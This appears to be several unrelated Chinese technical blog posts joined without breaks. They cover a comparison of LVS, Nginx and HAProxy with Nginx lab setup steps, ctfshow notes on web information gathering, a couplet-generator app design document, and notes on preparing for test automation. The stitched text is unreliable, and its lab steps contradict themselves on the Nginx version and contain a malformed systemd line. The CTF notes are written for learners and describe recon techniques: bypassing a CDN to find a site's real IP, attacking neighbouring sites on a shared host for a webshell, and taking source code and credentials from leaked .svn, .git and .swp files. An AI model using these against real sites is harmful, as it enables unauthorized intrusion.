是基于四层的转发,只能做端口的转发,基于URL、基于目录的转发LVS做不了优点抗负载能力强、是工作在网络4层之上仅作分发之用,没有流量的产生,这个特点也决定了它在负载均衡软件里的性能最强的,对内存和cpu资源消耗比较低配置性比较低,这是一个缺点也是一个优点,因为没有可太多配置的东西,所以并不需要太多接触,大大减少了人为出错的几率工作稳定,因为其本身抗负载能力很强,自身有完整的双机热备方案,如LVS+Keepalived,不过我们在项目实施中用得最多的还是LVS/DR+Keepalived流量,LVS只分发请求,而流量并不从它本身出去,这点保证了均衡器IO的性能不会收到大流量的影响应用范围比较广,因为LVS工作在4层,所以它几乎可以对所有应用做负载均衡,包括http、数据库、在线聊天室等等缺点软件本身不支持正则表达式处理,不能做动静分离;而现在许多网站在这方面都有较强的需求,这个是Nginx/Haproxy+Keepalived的优势所在如果是网站应用比较庞大的话,LVS/DR+Keepalived实施起来就比较复杂了,特别后面有Windows Server的机器的话,如果实施及配置还有维护过程就比较复杂了,相对而言,Nginx/Haproxy+Keepalived就简单多了LVS支持的调度算法RR:Round Robin,轮询,较常用WRR:Weighted RR,加权轮询,较常用SH:Source Hashing,源地址散列调度算法DH:Destination Hashing,目标地址散列调度算法LC:least connections,最少连接,适用于长连接应用WLC:Weighted LC,加权最少连接,默认调度算法,较常用SED:Shortest Expection Delay,最短延迟调度NQ:Never Queue,永不排队调度LBLC:Locality-Based LC,基于局部性的最少链接LBLCR:LBLC with Replication,带复制的基于局部性最少连接NginxNginx: 是WEB服务器,缓存服务器,又是反向代理服务器,可以做四层和七层的转发优点工作在网络7层之上,可针对http应用做一些分流的策略,如针对域名、目录结构,它的正规规则比HAProxy更为强大和灵活,所以,目前为止广泛流行Nginx对网络稳定性的依赖非常小,理论上能ping通就能进行负载功能Nginx安装与配置比较简单,测试也比较方便,基本能把错误日志打印出来可以承担高负载压力且稳定,硬件不差的情况下一般能支撑几万次的并发量,负载度比LVS小Nginx可以通过端口检测到服务器内部的故障,如根据服务器处理网页返回的状态码、超时等,并会把返回错误的请求重新提交到另一个节点不仅仅是优秀的负载均衡器/反向代理软件,同时也是强大的Web应用服务器。LNMP也是近些年非常流行的Web架构,在高流量环境中稳定性也很好可作为中层反向代理使用可作为静态网页和图片服务器缺点适应范围较小,仅能支持http、https、Email协议对后端服务器的健康检查,只支持通过端口检测,不支持url来检测。比如用户正在上传一个文件,而处理该上传的节点刚好在上传过程中出现故障,Nginx会把上传切到另一台服务器重新处理,而LVS就直接断掉了,如果是上传一个很大的文件或者很重要的文件的话,用户可能会因此而不满Nginx的Session的保持,Cookie的引导能力相对欠缺Nginx支持的调度算法rr,轮询,默认调度算法wrr,加权轮询ip_hash,源地址hashleast_conn,最少连接hash KEY [consistent], 一致性hash算法HaproxyHAproxy: 是基于四层和七层的转发,是专业的代理服务器优点HAProxy是支持虚拟主机的,可以工作在4、7层(支持多网段)HAProxy的优点能够补充Nginx的一些缺点,比如支持Session的保持,Cookie的引导;同时支持通过获取指定的url来检测后端服务器的状态HAProxy跟LVS类似,本身就只是一款负载均衡软件;单纯从效率上来讲HAProxy会比Nginx有更出色的负载均衡速度,在并发处理上也是优于Nginx的HAProxy支持TCP协议的负载均衡转发,可以对MySQL读进行负载均衡,对后端的MySQL节点进行检测和负载均衡,大家可以用LVS+Keepalived对MySQL主从做负载均衡。HAProxy负载均衡策略非常多,HAProxy的负载均衡算法现在具体有如下8种缺点不支持POP/SMTP协议不支持SPDY协议不支持HTTP cache功能。现在不少开源的lb项目,都或多或少具备HTTP cache功能重载配置的功能需要重启进程,虽然也是soft restart,但没有Nginx的reaload更为平滑和友好多进程模式支持不够好HAProxy支持的调度算法roundrobin,表示简单的轮询(多)static-rr,表示根据权重leastconn,表示最少连接者先处理source,表示根据请求源IPuri,表示根据请求的URI,做cdn需使用url_param,表示根据请求的URl参数’balance url_param’ requires an URL parameter namehdr(name),表示根据HTTP请求头来锁定每一次HTTP请求rdp-cookie(name),表示根据cookie(name)来锁定并哈希每一次TCP请求总结Haproxy和Nginx由于可以做七层的转发,所以URL和目录的转发都可以做,高并发场景选择LVS像中小型公司的话并发量没那么大,选择Haproxy或者Nginx足已,由于Haproxy是专业的代理服务器,配置简单,功能丰富,类似于增强版的Nginx,所以中小型企业推荐使用Haproxy对节点健康检查:Haproxy LVS都主动检查 Haproxy检查的方式更丰富 Nginx只能被动检查,通过转发请求是否失败来作为判断就性能而言:LVS > Haproxy > Nginx;功能性和便利性:Nginx > Haproxy > LVS五、Haproxy搭建 Web 群集5.1 实验所需安装包Haproxy、Nginx安装包haproxy-1.5.19.tar.gznginx-1.12.0.tar.gz5.2环境配置主机 操作系统IP地址所需软件/安装包/工具共享服务器CentOS7192.168.94.110nginx web(1)CentOS7192.168.94.111nginx web(2)CentOS7192.168.94.19客户端CentOS7192.168.94.1575.3haproxy共享服务器搭建关闭防火墙、增强机制
systemctl stop firewalld
systemctl disable firewalld
setenforce 0
安装关系依赖包
yum -y install pcre-devel zlib-devel gcc gcc-c++ make新建用户和组便于管理
useradd -M -s /sbin/nologin nginx
切换至opt目录,将下载好的压缩包传进来解压
cd /opt
tar -zxf nginx-1.19.2.tar.gz
切换至解压后的目录下编译
cd nginx-1.19.2
./configure \
--prefix=/usr/local/nginx \
--user=nginx \
--group=nginx \
--with-http_stub_status_module
安装
make && make install -j2
做软连接,让系统识别nginx的操作命令
ln -s /usr/local/nginx/sbin/nginx /usr/local/sbin/将nginx命令加入服务
cd /lib/systemd/system
vim nginx.service
#!/bin.bash
[Unit]
Description=nginx
After=network.target
[Service]
Type=forking
PIDFile=/usr/local/nginx/logs/nginx.pid
ExecStart=/usr/local/nginx/sbin/nginx
ExecReload=/usr/bin/kill -s HUP $MAINPID
ExecStop=/usr/bin/kill -s QUIT $MAINPID
PrivateTmp=true
[Install]
WantedBy=multi-user.target
创建站点目录
echo "this is Nginx1" > /usr/local/nginx/html/index.html
如果用yum 安装的nginx
echo "this is Nginx 1 " > /usr/share/nginx/html/test.html
cat /usr/local/nginx/html/index.html
重新加载单元、启动服务
systemctl daemon-reload
systemctl start nginxnetstat -anpt | grep nginx
http://192.168.94.111/
信息收集-(ctfshow web入门-信息收集)
信息收集一、信息收集是什么?信息收集(Information Gathering),信息收集是指通过各种方式获取所需要的信息。信息收集是信息得以利用的第一步,也是关键的一步。二、信息收集1.域名信息Whoiswhois 可以查询域名是否被注册,以及注册域名的详细信息的数据库,其中可能会存在一些有用的信息,例如域名所有人、域名注册商、邮箱等。CDN绕过CDN的全称是Content Delivery Network,即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。判断有无cdn1.看响应时间工具查询工具域名查询2.超级ping操作3.看是否有节点用nslookup 命令cdn绕过技巧1.子域名查询使用了CDN的域名的父域或者子域名不一定使用了CDN,可以通过这种方式去查找对应的IP。2.历史记录查询(遗留文件)CDN可能是在网站上线一段时间后才上线的,可以通过查找域名解析记录的方式去查找真实IP。同时,网站源码中可能留存了含有IP的文件。3.邮箱服务查询(邮箱访问查询IP)从邮件头中获取IP地址,IP地址可能是网站的真实IP或者是目标的出口IP,或者从发件人邮件中获取IP地址。4.切换节点利用工具切换节点,尝试从国外地址发起请求,可能不存在cdn节点,直接得到IP。5.子域名爆破在内网等不易用到以上技巧的环境,或者想监测新域名上线时,可以通过批量尝试的方式,找到有效的域名。6.利用一些搜索引擎钟馗之眼2.站点信息(站点搭建分析)判断操作系统Linux大小写敏感Windows大小写不敏感目标型站点1.主站下面加一个目录可能是两个不同的网站。这说明这可能是两套不同的程序。子域名站点1.主域名和子域名查询可能不一样。可能在同一服务器,也能在不同服务器,可能在不同网段,也可能在相同网段类似域名站点1.同源码不同域名旁注,C段站点旁注: 在字面上解释就是-“从旁注入”,利用同一主机上面不同网站的漏洞得到webshell。(同一服务器,不同站点)C段服务器的本质是C级IP段。段C:一般指段C网络段,也称为“段C渗透”IP范围192.0.0.1到223.255.255.254段C服务器:为站集群服务器的IP网络段。IP地址是C段。WAF防护Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。3.搜索引擎的使用恰当地使用搜索引擎(Google/Bing/Yahoo/Baidu等)好消息!好消息!好消息!!!不管你问wp、问题目、问语言还是问函数用法,问什么都可以搜索引擎里搜!打开浏览器输入相应网址就能使用!!!大家千万不要错过啊!!搜索技巧1.搜索范围限定在指定网站。在查询词后输入 site:网站名 。网站名就是你要查的资料或信息来源网站,这里的冒号为英文冒号。2.搜索范围限定在url中。在查询词前加上inurl:xx, 如果是多个查询词就加allinurl:xx xx 。这里的xx是查询词,冒号是英文符号。如: A inurl:video 那么得到的网页的网址中一定包含video这个词,搜索的结果就是与A有关的视频内容3.link:网站网址返回所有包含目标站点链接的页面,其中包括其开发人员的个人博客,开发日志,或者开放这个站点的第三方公司,合作伙伴等4.非web方面的信息收集在无web或者无法在web方面取得进展时,需要通过其他方式来收集信息。APE提取一键反编译提取使用反编译工具,尝试获取包了里的源码APP抓数据包进行工具配合使用burp suite设置代理,或者wireshark抓数据包,进行分析第三方应用相关的探针技术借助一些其他的工具。三、信息收集相关的一些题目信息泄露常见得有源码泄漏,.svn、.swp、.git等泄露.1.源码泄漏,通过查看源码,比如F12,开发者工具,鼠标右键查看, 通过在url头部添加 view-source:2.版本控制漏洞.svn,比较常见。SVN(subversion)是源代码管理软件,造成SVN源代码漏洞的主要原因是管理员操作不规范。在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用”导出“功能,而是直接复制代码文件夹到WEB服务器上,这就使.svn隐藏文件夹被暴露于外网环境。(可以利用.svn/entries文件,获取到服务器源码、svn服务器账号密码等信息)3.swp漏洞swp即swap文件,在编辑文件时产生的临时文件,它是隐藏文件,如果程序正常退出,临时文件自动删除,如果意外退出就会保留,文件名为 .filename.swp。漏洞利用:直接访问.swp文件,下载回来后删掉末尾的.swp,获得源码文件。4.git源码泄漏Git是一个开源的分布式版本控制系统,在执行初始化目录的时候,会在当前目录下自动创建一个目录,用来记录代码的变更记录等。发布代码的时候,如果没有把这个目录删除,就直接发布到了服务器上,攻击者就可以通过它来恢复源代码。信息收集时要注意一些微小的信息,如响应头里藏信息,cookie里,robots.txt等也要注意一下。5.robots.txt6.响应头里的信息和cookie等这一类直接使用工具bp,进行抓包。7.phpinfo8.js判断来发送游戏数据1.查看源代码2.unicode解码3.谐音一下,110.php
基于python的问答对联生成系统 附完整代码 毕业设计
软件标题:智能对联生成系统b 系统概述使用项目:智能对联生成系统软件用途:通过网页端可以获取到根据已有上联只能生成的下联。开发历史:本项目未曾有前置版本。但在服务器搭建,Tensorflow 使用上已有经验。投资方:开发小组自费需方:西安电子科技大学计算机科学与技术学院软件工程课程用户:网页使用者开发方:开发小组,成员:张笑天,王重阳,王艺静,张震宇支持机构:西安电子科技大学计算机科学与技术学院软件工程当前运行现场:虚拟机 VMWare 中 Ubuntu 19.10,Windows 10 平台 Anaconda计划运行现场:阿里云 Ubuntu 18.04c 文档概述本文档为项目 智能对联生成系统 的软件设计说明,用于描述对计算机软件配置项 CSCI 的设计,它描述了 CSCI 级设计决策、CSCI 体系结构设计(概要设计)和实现该软件所需的详细设计。保密性:该文档可以公开于网络,但应注意项目以及该文档本身均遵循 GPLv3 协议开源。http://www.gnu.org/licenses/quick-guide-gplv3.htmld 基线无2 引用文件GPLv3 协议:http://www.gnu.org/licenses/quick-guide-gplv3.html3 软件综述a 软件应用用户可以在网页上方便地输入自自定义的上联得到下联,起到丰富精神生活作用。b 软件清单支持 HTML5 的浏览器,例如 Google Chrome。c 软件环境可以访问互联网。d 软件组织和操作概述i 软件逻辑部件自上而下为软件的标题,软件的输入提示,软件的输入文本框,软件的互动按钮和软件的使用提示。在交互之后,得到的是自上而下分别为软件的使用结果(或者错误提示),软件的使用提示,输入文本框,软件的互动按钮。交互之后得到同上界面。ii 用户期望的性能特性可接受输入:根据提示为七个以下汉字。输出类型:对应数量的汉字或者输入错误提示。响应时间:10s 左右,同时也与服务器负载、用户网络状况有关系。处理时间:10s 左右,取决于服务器 CPU 性能。限制:使用用户过多,nginx 会触发保护机制,返回错误 504预期的错误率:在高负载下 nginx 报错 504,但是不会造成服务器崩溃。预期的可靠性:同上。iii 组长负责服务器的购买与维护。iv 监督措施:服务器的安全口令与提供商阿里云的安全措施。e 意外事故以及运行的备用状态和方式。在高负载下 nginx 报错 504f 保密性与私密性本文档根据 GPLv3 开源,保密性由开源协议保护。安全性与私密性由 Nginx 反向代理和 Django 以及服务器提供商即阿里云的安全措施保护。g 帮助和问题报告在输入错误时给予用户正确输入提示。用户可以通过点击源代码按钮联系作者。4 访问软件a 软件的首次用户i 熟悉设备熟悉浏览器即可ii 访问控制任何连接互联网用户均可访问,用户自己访问内容由 HTTPS 加密协议保证,在服务器保密由服务器安全措施保证。iii 安装和设置同浏览器的安装与设置。b 启动过程在浏览器中输入网址:https://enigmazhang.tech/couplet/main/iv 停止和挂起工作关闭浏览器标签页即可。5 软件使用指南a 能力用户根据提示在输入框中输入上联,通过提交按钮或者快捷键提交上联到服务器,等待页面跳转之后得到下联或者对于用户操作的提示;随后用户可以继续在输入框中输入上联。b 约定详见软件设计文档。c 处理过程用户根据提示在输入框中输入上联,通过提交按钮或者快捷键提交上联到服务器,等待页面跳转之后得到下联或者对于用户操作的提示;随后用户可以继续在输入框中输入上联。d 相关处理位于浏览器端和服务器端浏览器根据前端脚本和文件进行渲染并且与服务器交互;服务器根据前端信息得到上联向前端发送下联。f 错误、故障和紧急情况时的恢复当服务器负载过大时,由 nginx 报错 504,防止服务器崩溃。如果服务器意外崩溃,必须由开发者手动重启服务。g 消息Nginx504 错误:提示用户当前负载过大超时,请稍后再尝试。用户输入格式错误:提示用户“请输入七个及以下汉字”6 注解NLP:自然语言处理云服务器(ECS): 一种简单高效、安全可靠、处理能力可弹性伸缩的计算服务CPU:中央处理器,计算机系统的运算和控制核心,是信息处理、程序运行的最终执行单元GPU:图形处理器,一种专门在个人电脑、工作站、游戏机和一些移动设备上做图像和图形相关运算工作的微处理器。:一系列基于 Intel 8086 且向后兼容的中央处理器指令集架构Linux:一套免费使用和自由传播的类 UNIX 操作系统。Ubuntu:一个以桌面应用为主的 Linux 操作系统。Windows:美国微软公司研发的一套操作系统Python:一种跨平台的计算机程序设计语言VMware Workstation:一款功能强大的桌面虚拟计算机软件,提供用户可在单一的桌面上同时运行不同的操作系统Anaconda:开源的 Python 包管理器Tensorflow:TensorFlow 是一个基于数据流编程的符号数学系统PyTorch:是一个开源的 Python 机器学习库GPL:GNU General Public License,GNU 通用公共许可证IDE:集成开发环境,Integrated Development Environment 是用于提供程序开发环境的应用程序,一般包括代码编辑器、编译器、调试器和图形用户界面等工具PyCharm:一种 Python 集成开发工具IDLE:Integrated Development and Learning Environment,集成开发和学习环境,是 Python 的集成开发环境Visual Studio:美国微软公司的开发工具包系列产品Visual Studio Code:跨平台源代码编辑器VIM:功能强大、高度可定制的文本编辑器Google Chrome:是一款由 Google 公司开发的网页浏览器Firefox:是一个自由及开放源代码的网页浏览器Microsoft Edge:是一款由 Microsoft 公司开发的网页浏览器Git:一个开源的分布式版本控制系统GitHub:一个面向开源及私有软件项目的托管平台Nginx:一个高性能的 HTTP 和反向代理 Web 服务器uWsgi:一个 Web 服务器与 Web 应用通信的规范实现Django:一个开放源代码的 Web 应用框架Flask:一个使用 Python 编写的轻量级 Web 应用框架HTML5:超文本标记语言 5,构建 Web 内容的一种语言描述方式CSS:层叠样式表,Cascading Style Sheets 是一种用来表现 HTML 或 XML 等文件样式的计算机语言JavaScript:是一种具有函数优先的轻量级,解释型或即时编译型的编程语言Tensor2Tensor:一套基于 TensorFlow 的深度学习系统完整代码:https://download.csdn.net/download/qq_38735017/87382432
自动化测试技术笔记(二):准备工作的切入点
上篇整理的技术笔记,聊了自动化测试的前期调研工作如何开展,最后一部分也提到了工作的优先级区分。这篇文章,接上篇文章的内容,来聊聊自动化测试前期的准备工作,需要考虑哪些方面。测试环境选择和搭建自动化测试运行环境,不外乎测试环境(SIT)、验收环境(UAT)、灰度环境(PRE)和生产环境(PROD)。在不同的环境运行的目的、效果、优势和不足也各不相同,下面是不同环境的区分对比结果。环境名称优势不足测试环境(SIT)节省环境资源,代码版本比较新,可及时验证,复用性强服务不稳定,测试数据容易混淆,测试结果准确性不高,需要人工二次校验验收环境(UAT)服务相对稳定,环境复用性强,代码版本相对较新测试数据容易混淆灰度环境(PRE)环境稳定,服务齐全,可以更好的进行业务流程的自动化测试测试数据容易混淆,需要单独的维护和管理测试数据生产环境(PROD)环境稳定,服务齐全,主要用来做线上主流程巡检,防资损需要单独维护测试数据和账号,且需要配置白名单过滤,防止污染生产数据不同环境对自动化测试开展的便利性和制约性不同,建议根据自动化测试的成熟度、要解决的问题来选择不同的环境。当然,如果选择搭建单独的自动化测试环境,就要考虑环境资源申请、域名、代码仓库权限、维护成本等因素。还有个很容易忽视的点就是服务器操作系统类型和版本,举个我当时遇到的例子:要做web的UI自动化测试,工具选择了selenium,我们常用的浏览器是chrome,用户使用环境是windows,自动化测试要求快速无感执行,就需要考虑Linux环境下基于chrome浏览器的case执行(chromium),还要考虑Linux操作系统对chrome的适配问题(centos和uhuntu,以及centos的版本选择6.5还是7.2),甚至还要考虑浏览器驱动的适配问题。测试框架选型和设计近几年成熟稳定的开源自动化测试工具和框架可选择的比较多了,但具体问题具体分析,测试框架的选型和设计同样是很重要的事情。在选择测试框架或者工具时,一般需要考虑如下几方面:自动化测试类型:UI/API/UNIT,UI自动化要考虑web和移动端的区别,单元测试要考虑被测系统的开发语言;框架自身的生态:框架支持的编程语言、社区活跃度、文档是否齐全、业内落地案例、测试同学自身的技术栈;框架的学习成本:不能只考虑选择个人熟悉的,还要考虑后续的多人协同,团队其他同学的学习上手难度;框架的维护成本:后期case多了或业务场景变更后,case的维护成本以及框架本身是否提供了更好的封装模块;测试脚本和数据管理测试脚本和测试数据管理,需要结合自动化测试的执行环境一起来看。一般来说,测试脚本为了便于统一管理和多人协作维护,现在都是采用Git+gitlab的方式,做好版本管理和分支规范即可。而测试数据的管理,相对来说比较复杂,可选的方式也不同。下面是常见的几种测试数据管理方式对比:测试数据管理方式优势不足Excel参数文件形式数据维护方便,简单快捷不利于多人协作,数据量大了之后数据维护更新成本高配置文件形式适合热点数据/通用信息管理,如账号密码等无法适用于复杂场景和大规模的数据管理数据库统一管理便于数据隔离,统一管理一般是配合单独的自动化环境一起维护测试范围和校验粒度标题所述的两点,其实是同一种问题。测试范围的筛选,需要结合投入的资源,项目紧急程度来综合评估,一般测试范围的覆盖优先级,可以遵循这个顺序:核心业务——高频业务——问题较多的业务。覆盖率的考量,可以遵循这个顺序:核心场景——核心业务流程——异常场景,如此覆盖后,再考虑逆向流程。测试用例的粒度,可以参照功能测试用例的区分,从 P0 &冒烟case到 P1 再到 P2,以此类推。当然,如果遇到比较复杂和亢长的流程,可以考虑拆分为多个测试用例,在同一个任务里按上下游关系去执行。粒度的设定和拆分,在不同阶段有不同的划分。刚开始落地时,可以由粗到细,先实现再考虑不断优化。持续集成和测试报告自动化测试,如果无法做到持续集成快速验证,那就不能称之为自动化。要做到将自动化测试,我个人认为有如下几个标识来判断:执行的频次和效率:比如1天可以执行100个功能case,那自动化最起码要在10分钟甚至1分钟内完成;执行结果自动校验:功能测试可以人工来判断测试是否通过,自动化测试的通过率&成功率需要达到一定的成功率(比如90%以上),且失败的case可以重试验证,或者失败的结果和日志及时通知给相关人员;无人值守自动运行:这点其实很多方法可以实现,比如定时任务,条件触发。当然做到这点还算不上自动化,必须考虑到如果出现重大问题还需要及时的发现和告警通知;是否融入交付流水线:交付流水线即我们今天常说的CICD或者devops流水线,常见的场景有服务打包编译后的自动化单元测试,服务自动发布后的接口自动化和UI自动化测试,以及服务上线前和上线后的自动化冒烟和回归测试,甚至还可以加入线上的日常自动化巡检。外部调用和多人协作以电商业务为例,支付需要调用三方,短信通知需要调用短信服务商,发货物流需要调用三方,但实际工作中三方提供的环境往往不满足我们的测试需要,这个时候就需要一定的手段来解决这个问题。常见的手段如下:挡板&mock(最常用的手段);流量染色+影子库(实现成本较大,技术复杂性较高);和三方协商一致后配置专门的白名单或者渠道(很难协商);至于多人协作问题,其实涉及很多方面,比如:测试数据专人统一维护,还是按需维护,提供专门的工具或者流程规范约束;测试用例和测试脚本的维护,各管各的还是提供统一的规范demo,专人检查或者定时review;测试范围的边界如何界定,重合部分如何区分职责;以上就是自动化测试落地前的准备工作,内容来源于我之前做自动化测试工作时的一些笔记内容,稍加提炼和修改。下一篇我会聊聊自动化测试落地方案以及落地过程中常见的问题以及解决思路。